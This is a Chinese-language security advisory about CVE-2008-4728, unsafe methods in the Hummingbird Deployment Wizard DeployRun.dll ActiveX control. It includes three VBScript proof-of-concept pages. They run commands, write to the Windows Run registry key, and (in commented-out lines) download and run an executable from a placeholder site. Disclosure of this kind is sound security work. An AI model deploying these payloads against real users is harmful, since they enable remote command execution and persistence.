安全研究

安全漏洞
Hummingbird Deployment Wizard DeployRun.dll多个不安全调用漏洞

发布日期:2008-10-17
更新日期:2008-10-21

受影响系统:
Hummingbird Deployment Wizard 2008
描述:
BUGTRAQ  ID: 31799
CVE(CAN) ID: CVE-2008-4728

Hummingbird Deployment Wizard允许用户基于web安装任何Hummingbird产品并自动连接到主机。

Hummingbird Deployment Wizard的DeployRun.DeploymentSetup.1(DeployRun.dll)ActiveX控件没有正确地验证对Run()、SetRegistryValueAsString()和PerformUpdateAsync()方式所传送的输出参数,如果用户受骗访问了恶意网页的话,就可能执行任意命令或以当前登录用户的权限修改已有的注册表项。

<*来源:shinnai (shinnai@autistici.org
  
  链接:http://secunia.com/advisories/32337/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
Sub tryMe
   test.Run "cmd.exe", "/C calc.exe"
   'test.Run "http://www.SomeSite.com/SomeFile.exe", ""
End Sub
</script>


<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
Sub tryMe
  'test.SetRegistryValueAsString "Existing Registry Path + Existing Registry Key", "Value to change"
  test.SetRegistryValueAsString "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YourFavouriteKey", "Hello World!"
End Sub
</script>


<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test' height='20' width='20'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
Sub tryMe
   test.PerformUpdateAsync "calc.exe"
   'test.PerformUpdateAsync "http://www.SomeSite.com/SomeFile.exe"
End Sub
</script>

建议:
厂商补丁:

Hummingbird
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.hummingbird.com/

浏览次数:2685
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障